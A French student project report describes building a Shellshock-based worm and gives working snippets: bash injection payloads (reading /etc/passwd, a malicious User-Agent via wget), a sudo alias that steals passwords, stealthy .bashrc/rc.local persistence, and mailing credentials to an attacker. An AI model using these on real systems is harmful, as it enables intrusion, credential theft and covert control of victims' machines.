université de Caen
Basse-Normandie

Université de Caen

Département d'Informatique

Master 1

Projet annuel

Développement d'un ver informatique grâce à une faille du système et étude de sa propagation au sein d'un réseau de machines

"It's not a bug, it's a feature"
- GNU about Shellshock bug

Projet réalisé par Mathieu Valois

Encadrant : M. Alain Bretto

Relecteur : None

Année 2014-2015

Résumé

Ce projet consiste en la réalisation d'un ver informatique, capable de se déplacer dans un réseau de manière autonome, rampant de machine en machine grâce à une faille des systèmes qu'il infecte. Une fois réalisé, il faudra étudier sa progression dans un réseau depuis une première machine, et éventuellement améliorer ses capacités de propagation et de furtivité en conséquence. Par ailleurs, on pourra aussi le doter d'une charge virale et l'améliorer.

Table des matières

1 Introduction

1.1 Aaaah, un ver ! Quelle horreur !

En informatique, on appelle un ver, un programme capable de s'auto-répliquer. Contrairement aux virus, il ne possède pas de programme hôte, cela implique qu'il doive se déplacer seul. En effet, le virus lui, se déplace avec le programme qu'il a infecté (sur une clé USB, par e-mail, ...), alors que le ver doit progresser de machine en machine seul. C'est pour ça que les vers utilisent en général une faille du système.

On appelle charge virale d'un ver ou virus le but final de ce programme. Par exemple : surveiller le système, détruire des fichiers, attaquer un serveur, envoyer des milliers d'e-mails ...

Généralement, un ver se décompose en 3 fonctions distinctes :

- une fonction de propagation, permettant d'infecter un nouveau système
- une fonction de persistance qui permet au virus de résister aux redémarrages de la machine
- une fonction d'attaque exécutant sa charge virale

1.2 Avantages/inconvénients face au virus

De part sa nature, le ver informatique possède plusieurs avantages mais aussi des inconvénients face au virus. Premièrement, le fait de ne pas requérir de programme hôte lui permet de se déplacer à une vitesse bien supérieure au virus pour deux raisons :

- il n'attend pas pour aller de machine en machine
- il est lancé directement dès qu'il arrive sur une nouvelle machine cible

Deuxièmement, il est généralement plus furtif, car il s'introduit de manière active sur un système : aucune action d'un utilisateur n'est nécessaire. Cela implique qu'un utilisateur même averti [1] aurait du mal à détecter la présence d'un nouveau ver sur son système.

Cependant, il réside des inconvénients de taille de part sa manière d'agir :

- une fois les failles qu'il utilise bouchées, il ne peut plus se propager sur un système patché [2], il est donc très dépendant des failles qu'il exploite
- il suffit de couper le réseau pour arrêter sa propagation

1.3 Court historique

Le premier ver informatique recensé est le ver *Morris*, apparu en 1988. Il utilisait 2 failles présentes dans les systèmes UNIX de l'époque, une dans *sendmail* [3] et l'autre dans *fingerd* [4]. On estime à 6000 (soit environ 10% du réseau Internet de l'époque) le nombre de machines infectées par ce ver.

Depuis qu'Internet existe, beaucoup de vers informatiques ont vu le jour et ils sont même devenus une pratique courante d'attaques informatiques à des fins militaires [5].

Des formes de vers utilisant la faille présentée ci-dessous ont été entre-aperçues quelques jours après la publication de ladite faille. Ce afin de dire que le ver ici présenté n'est en rien révolutionnaire, mais un des objectifs principaux auquel je tiens est la documentation et le retour d'expérience. Contrairement à ces formes de vers, mon projet se veut pédagogique, et ce rapport constitue une démarche classique dans le développement d'un tel programme.

1. qui lui passerait un coup d'antivirus sur un fichier suspect
2. dont la faille a été corrigée
3. la commande UNIX permettant d'envoyer un e-mail
4. commande qui permettait d'obtenir des informations sur la personne derrière une adresse mail
5. Stuxnet (découvert en 2010), ver destiné à espionner les réacteurs nucléaires de Siemens en Iran, endommageait les centrifugeuses en augmentant et en baissant leur vitesse sans que les techniciens s'en aperçoivent

2 Contenu du projet

2.1 Description détaillée

Dans ce projet, je développerai un ver informatique, fondé sur une faille du système. Le langage de programmation utilisé m'est libre de choix, ainsi que la/les faille(s) à exploiter (le type de système aussi, mais il est lié aux failles). Je réaliserai les 3 fonctions essentielles d'un ver, c'est à dire la fonction de propagation, celle de persistance ainsi que la fonction d'attaque. Je veillerai à ce que le ver reste le plus furtif possible sur les systèmes infectés afin de pouvoir se propager sur un maximum de machines.

Par la suite, il faudra l'essayer sur un réseau (coupé du monde, l'Internet n'est pas un réseau pour y tester de tels programmes). Des machines virtuelles feront l'affaire, en espérant qu'elles soient assez nombreuses (idéalement un parc de 40/50 machines, mais une dizaine suffiront dans un premier temps).

Il faudra après cela essayer d'améliorer ce ver en fonction des résultats observés sur le réseau testé. Si la propagation et la furtivité sont suffisamment satisfaisantes, alors on pourra améliorer les capacités de la charge virale afin d'étendre les privilèges par exemple. Ou bien de surveiller le système de manière discrète pour soutirer des informations sur ses utilisateurs comme des mots de passe, informations personnelles, ...

2.2 Exemples d'utilisations

Voici quelques exemples qui pourraient découler de ce projet :

- puisqu'un ver n'est par définition pas obligatoirement malveillant, pourquoi ne pas s'en servir de façon bénéfique ? Par exemple, on pourrait se servir de ce ver pour se propager au sein des systèmes vulnérables à la faille qu'il utilise afin de prévenir les administrateurs qu'une faille est présente et qu'il faut mettre à jour le système pour la corriger.
- si le ver est capable d'étendre ses privilèges [6], alors on pourrait s'en servir pour faire la même chose que précédemment tout en patchant directement la faille sans prévenir l'utilisateur immédiatement. En entreprise par exemple, au lieu de mettre à jour les machines une à une (ce qui peu être lent et exhaustif), on pourrait lâcher un tel ver à condition qu'il ait été analysé par l'administrateur réseau de l'entreprise auparavant (et dans l'idéal, certifié par la communauté).
- à des fins statistiques, on peut s'en servir pour comptabiliser le nombre de machines vulnérables aux failles qu'il exploite sur l'Internet. Une fois le ver implanté sur une telle machine vulnérable, celui-ci envoie ainsi sur un serveur prédéfini l'information indiquant que le système est bien vulnérable. Il effectue cette opération de façon anonyme si le programmeur est bienveillant, dans le cas contraire il envoie le maximum d'informations relatives au système infecté.
- et bien sûr, dès lors l'usage malveillant du ver, le pirate peut ainsi effectuer différentes attaques : infiltration de systèmes sans autorisation, surveillance, modification, keylogger, backdoor, ...

Ces exemples sont donnés à titre indicatif. Cependant, la terreur que propage le terme "ver" rend ces utilisations difficiles à mettre en œuvre. Car pour la plupart des personnes, les mots "virus" et "ver" sont toujours péjoratifs, alors que la définition ne parle en aucun cas d'un quelconque but malveillant. Il est donc difficile de lancer un ver avec une bonne intention sans être perçu comme malfaisant [7].

6. vers des privilèges root

7. peut-être que la législation de certains états est différente de celle de la France. Ici une fois infiltré dans le système le programmeur est coupable

2.3 Contexte

Étant plutôt intéressé par la sécurité informatique (système et réseau) dans son ensemble, je suis assez à la page au niveau des nouvelles failles de sécurité découvertes et publiées. Il s'avère qu'au moment où nous devions choisir nos projets, une faille venait tout juste d'être dévoilée, mettant en péril beaucoup de machines tournant sous un système type UNIX. Je me suis donc mis au travail en cherchant un moyen rapide d'exploiter cette faille, et c'est là que j'ai mis au point le prototype d'un ver. M. Alain Bretto avait fait quelques propositions concernant des projets qu'il souhaitait réaliser avec ces étudiants, et la conception d'un ver en faisait partie. J'ai donc sauté sur l'occasion. De plus, j'ai lu quelques ouvrages [2] concernant les virus et les vers, ce qui m'a permis d'en savoir suffisamment afin d'en élaborer.

2.4 Solution

Premièrement, ce ver sera écrit en Perl. Tout simplement parce que Perl est un langage facile d'accès [8], très utilisé pour faire de la configuration système UNIX, et le top du top, il est présent sur la plus grande partie des distributions UNIX. Car il faut quand même que le système cible soit capable d'exécuter le ver ! Cela nous offre donc une quasi certitude que le ver ne sera pas bloqué sur un système parce que ce dernier n'est pas en mesure de l'exécuter.

2.4.1 La faille

La première faille utilisée par le ver que je vais développer s'appelle Shellshock. Shellshock est une faille découverte le 24 septembre 2014, touchant le shell bash des systèmes UNIX. D'après certains experts, il s'agit de l'une des plus grosses failles connues [9] sur de tels systèmes jamais trouvée. D'après Brian Fox, le créateur de Bash, la faille serait présente depuis la version 1.03 publiée en 1989 [10]. Voici quelques détails techniques : bash permet d'exporter des fonctions par une variable d'environnement à des processus fils.

Par exemple [1] :

```
1 $ env mafonction='() { echo "bonjour vous"; }' bash -c 'mafonction;'
```

Jusqu'ici rien d'anormal : on définit juste la fonction "mafonction" puis on demande à un processus fils de l'exécuter. Cependant, si l'on place du code **APRÈS** la fin de la fonction :

```
1 $ env mafonction='() { echo "bonjour vous"; }; echo "voici shellshock" '
    bash -c "mafonction;"
```

retournera

```
1 voici shellshock
2 bonjour vous
```

Ici, lorsque le processus définit la fonction « mafonction » [11], il ne se contente pas d'exécuter « echo " bonjour vous" » mais exécute aussi « echo "voici shellshock" » (le code souligné dans l'exemple). On remarque que le délimiteur « ' » n'est pas placé à la fin de la fonction mais bien après le code injecté.

On peut dès à présent imaginer les possibilités qu'offre cette faille. Par exemple, il est possible de récupérer les hashs des mots de passe des utilisateurs du système, grâce à cette commande :

8. il faut entendre "à prototypage rapide". Quand on connaît Python, on n'est pas perdu avec Perl
9. au sens où celle ci peut faire le plus de dégâts
10. https://en.wikipedia.org/wiki/Shellshock_(software_bug)
11. le fils n'a même pas besoin d'exécuter la fonction, le code situé après est exécuté quoi que le fils fasse

```
1 $ env mafonction='() { :; }; cat /etc/passwd' bash -c "echo"
```

On peut supposer que l'attaquant envoie la réponse de cette commande sur un serveur où il possède les droits afin de la récupérer.

De plus, Bash étant très pratique pour faire de l'administration système, beaucoup d'utilisateurs s'en sont servis pour écrire des scripts web (CGI). Il est alors possible via des requêtes bien précises, d'exécuter du code sur des machines distantes sans aucun privilège sur celles-ci. Entre autres, via les en-têtes HTTP, il est possible d'y écrire le code source d'un programme afin qu'il se copie dans un fichier sur la machine distante. Nous avons là un ver.

2.4.2 Target acquired, et maintenant ?

Jusque là, nous sommes capables d'infecter une nouvelle machine à condition qu'elle soit vulnérable. Cependant, si elle redémarre, le ver sera tué et ne se relancera pas au redémarrage. Ce qui est gênant car nous souhaitons que le ver persiste et survive aux redémarrages.

Dans un premier temps, nous n'aurons accès qu'à très peu de fichiers dans l'arborescence du système, car nous aurons les droits de l'utilisateur qui exécute le script CGI [12] grâce auquel le ver à infecté la machine. Il nous faudra donc trouver un moyen d'être relancé par un utilisateur non root de la machine, ou au pire des cas, par www-data [13] lui-même.

Dans un second temps, si les droit roots sont obtenus, alors il est plus facile de résister aux redémarrages. Le ver pourrait par exemple écrire dans le fichier rc.local [14] ou mieux, dans le dossier init.d [15] en tant que service afin d'être plus discret. On veillera à donner un nom qui ressemble à celui d'un service commun aux systèmes UNIX afin de ne pas éveiller les soupçons.

2.4.3 Méchant ver !

Notre ver résiste aux redémarrages ! Dans l'idéal, il est furtif et ressemble à un processus légitime du système. On peut désormais essayer d'appliquer une charge virale à notre création ! C'est ici que l'imagination entre en jeu, nous pourrions :

- espionner les utilisateurs du système en surveillant les dossiers de leurs dossiers "home" [16]
- tenter de récupérer les mots de passe des utilisateurs en surchargeant la commande sudo [17]
- altérer le système (supprimer des fichiers ...)
- et plein d'autres choses selon l'imagination

2.4.4 Ah, petits problèmes ...

On va me dire, si ce ne sont que de petits problèmes, c'est pas très grave alors ... Eh bien quand même ! Effectivement, quelques problèmes apparaissent :

- exploiter la faille Shellshock nécessite l'accès à un script CGI exécuté avec bash ... Rien ne nous dit que toutes les pages d'un serveur web sont générées avec du CGI+bash !
- et Windows dans tout ça ? Quand est-ce qu'on l'attaque ?

Bon pour Windows, on va laisser tomber [18] ...

12. en général : "www-data" pour les Debian et "apache" pour les Red-hat
13. l'utilisateur qui exécute le CGI
14. /etc/rc.local : fichier exécuté au démarrage du système avec les droits root
15. /etc/init.d/ : les programmes placés dans ce dossier sont exécutés au démarrage du système, et sont des services, c'est à dire des programmes qui tournent en tâche de fond
16. dossier personnel
17. commande permettant d'exécuter la commande qui suit avec des droits root
18. vous allez rire, mais bash existe pour Windows et il s'avère que certains administrateurs web s'en servent pour leur Windows Server, donc techniquement, il est possible de s'attaquer à ce type de machine ...

Par contre, il est possible de trouver une liste des chemins d'accès les plus courants à des scripts CGI à cette adresse : https://21102894.users.info.unicaen.fr/commoncgipaths.txt [19]

3 Calendrier prévisionnel

Date	fonctions disponibles
30 nov.	le ver est capable d'infecter une nouvelle machine vulnérable en sachant son adresse IP et le chemin d'un script CGI+bash
15 dec.	il peut infecter un grand nombre de machines en récupérant une IP depuis un fichier qui peut être généré aléatoirement ou avec une liste de cibles définies par l'attaquant et en itérant sur la liste des chemins les plus courant aux CGI
31 dec.	il est capable de résister aux redémarrages de la machine grâce à des droits non root
20 jan.	le ver parvient à capturer des mots de passe utilisateurs en surchargeant la commande sudo
10 fev.	avec des mots de passe utilisateurs ayant des droits root, le ver est capable de résister aux redémarrages avec des droits root
25 fev.	désormais, il est capable d'obtenir des informations sur les utilisateurs du système en les surveillant et d'acheminer les données sur un serveur distant

Évidement, il est possible que le calendrier change au cours du temps, mais je vais essayer de m'y tenir au maximum.

4 Ce qui fonctionne

À cette heure, les 4 premières fonctionnalités sont implantées et fonctionnelles, c'est à dire :

- infection d'une nouvelle machine grâce à son IP
- infection d'une liste de cibles prédéfinies
- résiste aux redémarrages sans privilèges root
- capture les mots de passe utilisateur en surchargeant la commande sudo
- persistance au redémarrage des machines infectées en conservant les droits root, afin de n'avoir plus aucun restriction sur l'ensemble du système
- espionnage du système en acheminant les mots de passe récupérés par mail sur une adresse distante

4.1 Infection d'une nouvelle machine

Le ver contient une variable indiquant l'adresse IP de la machine à attaquer, ainsi qu'un chemin d'accès vers le script vulnérable à ShellShock. Il essaye donc de se connecter à la machine donnée et de télécharger la page indiquée par le chemin d'accès en utilisant un User-Agent qui exploite la faille (comme indiqué en fin de 2.4.1). Exemple avec wget :

```
1 wget http://example.com/cgi-vulnerable --header="User-Agent: () { :;}; $_ <
    commande_a_executer>"
```

Si le script est vulnérable, alors le ver se verra copié sur la machine distante, et d'autres commandes supplémentaires seront envoyées à cette machine afin de réveiller le ver à distance.

19. récupéré depuis https://shellshock.detectify.com/

4.2 Infection de plusieurs machines

Il est évident qu'une fois le ver capable d'infecter une machine, il n'est pas dur de l'adapter pour qu'il en infecte plusieurs. Le ver contient donc une liste d'adresses IP de machines distantes (ou locales) afin d'itérer sur celles-ci pour tenter de les infecter. Mais ici, un problème se pose : qu'en est-il de la surinfection ? C'est à dire qu'une machine C déjà visitée par une instance du ver sur une machine A (que C soit vulnérable ou pas) sera revisitée par une autre instance du ver sur une machine B. Ceci pose un problème de discrétion [20]. Il est envisageable si le temps le permet d'ajouter la fonctionnalité permettant de gérer la surinfection d'une machine déjà infectée par une autre instance du ver.

4.3 Résister aux redémarrages

Une fois le ver sur la machine distante, nous voudrions qu'il soit actif peu importe ce qu'il arrive à la machine. Cependant, tant que nous ne possédons par les droits root, il est difficile de résister aux redémarrages à coups sûrs. Nous allons donc nous contenter de relancer le ver quand nous le pouvons. Une manière de faire est d'écrire dans le .bashrc des utilisateurs du système. Ce fichier est chargé à chaque fois que l'utilisateur concerné ouvre un nouveau terminal par exemple [21]. Il suffit donc d'écrire un appel au ver dans ce fichier, soit au début, soit à la fin, et de rediriger toute sortie de la commande dans /dev/null afin de ne pas éveiller les soupçons. Encore un problème apparaît : comment écrire dans le .bashrc des utilisateurs si celui n'est pas inscriptible ? Et bien là, il faut prier pour une mauvaise configuration ou une mauvaise manipulation de l'utilisateur pour qu'il rende celui-ci inscriptible [22].

Grâce à la fonctionnalité ci-dessous qui permet de capturer les mots de passe utilisateurs, le ver est capable, à condition que l'un des utilisateurs du système soit dans le groupe **sudo**, de se relancer au redémarrage de la machine infectée tout en conservant les droits root. Pour cela, il écrit dans le fichier **/etc/rc.local** la commande l'appelant (qui est simplement le chemin d'accès à ce fichier car il est exécutable), ce qui lui permet d'être exécuté à chaque démarrage de la machine avec des droits super-utilisateur. De cette manière, le ver n'a plus aucune restriction sur les droits d'accès à certaines parties sensibles du système.

Une petite difficulté cependant était apparue : le dossier dans lequel gît le ver et les fichiers dont il a besoin étant **/tmp**, celui ci est par défaut vidé à chaque démarrage. Cela peut s'arranger en définissant **TMPTIME=-1** dans le fichier **/etc/default/rcS** (que nous pouvons modifier grâce aux mots de passe capturés) auquel cas ce dossier n'est jamais vidé.

4.4 Capturer des mots de passe utilisateur

Afin de pouvoir obtenir des droits root sur le système, il nous faut obtenir les mots de passe utilisateur, en espérant qu'eux même possèdent les droits root. Ainsi, il sera possible pour le ver d'être relancé aux redémarrages quoi qu'il arrive (et aussi d'espionner le système).

Pour ce faire, il nous faut encore une fois écrire dans le .bashrc en surchargeant la commande sudo, de cette manière :

```
1 capture(){
2     echo -n "[sudo] password for $USER: " &&
3     read -rs password &&
```

20. en réalité, le fait de ne pas être discret ne pose pas réellement de problèmes ici sachant que l'administrateur n'a pas fait les mises à jour du système, il ne doit donc pas être très présent sur la machine

21. c'est le cas sur les systèmes dérivés de Debian, j'ignore concernant les autres

22. à l'avenir il est possible d'imaginer écrire dans un dossier du PATH de l'utilisateur et de remplacer une commande

```
4       echo "$password:$(whoami)" >> $sudoFile &&
5       echo "$password" | /usr/bin/sudo -S "$@"
6   }
7   alias sudo=capture;
```

Ainsi, si sudo est lancé par l'utilisateur concerné, en réalité c'est cet alias qui sera appelé, capturant le mot de passe demandé et l'écrivant dans le fichier caché /tmp/.ssh-mOTc45gfXwPj/agent.1338. Et pour moins éveiller les soupçons, l'alias lance la véritable commande sudo à la fin. De cette manière, l'utilisateur n'y voit que du feu, car la commande réelle demandée par ce dernier ainsi que l'ensemble de ses arguments sont ensuite appelés afin de ne pas éveiller les soupçons. Un utilisateur régulier de GNU/Linux pourrait cependant remarquer que son mot de passe lui est demandé à chaque commande sudo, ce qui n'est pas normal car il existe un temps de quelques minutes pendant lequel la commande sudo ne demande pas le mot de passe.

Il est possible d'ajouter une amélioration à cette fonctionnalité en envoyant sur un serveur distant appartenant à l'attaquant, les mots de passe ainsi capturés. Cependant, cela pourrait trahir l'anonymat de cet attaquant.

4.5 Envoi des mots de passe à distance

Une fois certains mots de passe capturés via la technique présentées ci-dessus, le ver compte sur le fait que la machine infectée dispose de la commande **/usr/sbin/sendmail** afin d'envoyer à l'adresse définie juste avant, la liste des mots de passe avec les utilisateurs correspondant, et en plus les adresses IPv4 et IPv6 publiques de la machine. Cela permet à l'attaquant de se connecter à distance via **SSH** avec les mots de passe qu'il a reçu. Pour connaître les adresses IP publiques de la machine, le ver fait un **wget** sur cette page http://tnx.nl/ip et récupère le contenu.

4.6 Un concours de circonstances

Vous me direz que pour arriver à infecter et prendre le contrôle total de la machine, cela relève d'un exploit que toutes ces conditions soient réunies. Malheureusement, ceci peut arriver et il n'est pas rare que lorsqu'une des ces mauvaises configurations est présente sur le système, d'autres le soient. Il n'est pas surréaliste d'espérer que si le système est vulnérable à ShellShock, nous pourrions aller plus loin que simplement envoyer le ver sur la machine.

5 Conclusion

On pourrait conclure en disant qu'un tel ver lâché sur le grand réseau qu'est l'Internet pourrait faire des ravages, mais à vrai dire, la plupart des serveurs vulnérables ont été mis à jour depuis. Cependant, il ne faut pas omettre le reste des machines qui tournent sur des systèmes type UNIX et qui ne sont pas des serveurs : ordinateurs de poche [23], routeurs, machin-box [24], caméra-ip, et j'en passe. Le problème de ces appareils est qu'ils ne sont pas tous mis à jour régulièrement (cela dépend en grande partie de la bonne volonté du constructeur). Et la plupart du temps, ils sont connectés à Internet (et avoir une adresse IP privée ne suffit pas pour être caché).

23. appelés par les médias "smartphones"
24. la boite noire qui vous donne accès à Internet chez vous

Glossary

backdoor porte dérobée en français : programme qui introduit un moyen d'accéder à la machine pour un usage futur. 4

bash bash est le plus répandu des shells disponibles sous UNIX. 5–7

CGI Common Gateway Interface : script utilisé pour générer des pages HTML. 6, 7

charge virale la charge virale est en quelque sorte le but final du ver, ce qu'il fait sur le système à part se dupliquer et s'y loger. 1, 3, 4, 6

droit root ce sont les droits les plus élevés des systèmes UNIX. Ils permettent d'écrire n'importe où sur le disque (à quelques conditions près). 6, 7

en-têtes HTTP les en-têtes HTTP sont des variables du protocole HTTP permettant d'identifier plus précisément le client, tels que le navigateur qu'il utilise, de quel site web il provient,.... 6

faille bug/problème d'un programme du système de la machine permettant un accès non permis à une personne tierce, ou d'exécuter des commandes à distance. 1, 3–6

hashs le hash d'un mot de passe est l'image de ce mot de passe par une fonction non-injective pour laquelle il est difficile de retrouver son antécédent. Cela permet de ne pas stocker le mot de passe en clair, tout en étant capable de vérifier un mot de passe donné de façon relativement rapide. 5

keylogger programme tournant en tâche de fond qui enregistre les frappes de touche du clavier. 4

PATH variable d'environnement contenant la liste des dossiers où le shell doit aller chercher les commandes demandées par l'utilisateur. La priorité se fait dans le sens de la lecture : dès que la commande demandée est trouvée dans un dossier, elle est exécutée. 8

programme hôte programme dans lequel le virus est logé. À chaque fois que ce programme est exécuté, le virus l'est aussi. 3

shell un shell est une interface en ligne de commande permettant d'interagir avec le système. 5

Shellshock faille informatique touchant les systèmes UNIX utilisant le shell bash. 1, 5, 6

UNIX Famille de systèmes d'exploitation. En particulier, les GNU/Linux, MacOSX, sont des systèmes type UNIX. 3, 5, 6, 9

wget commande UNIX permettant de récupérer une page web. Elle est disponible par défaut sur les systèmes dérivés de Debian. 7

Références

[1] Linuxfr Collectif. Une faille nommée "shellshock". 2014. http://linuxfr.org/news/une-faille-nommee-shellshock#explications-techniques.

[2] Eric Filiol. *Les virus informatiques : théorie, pratique et applications*. Springer, 2ème edition, 2009.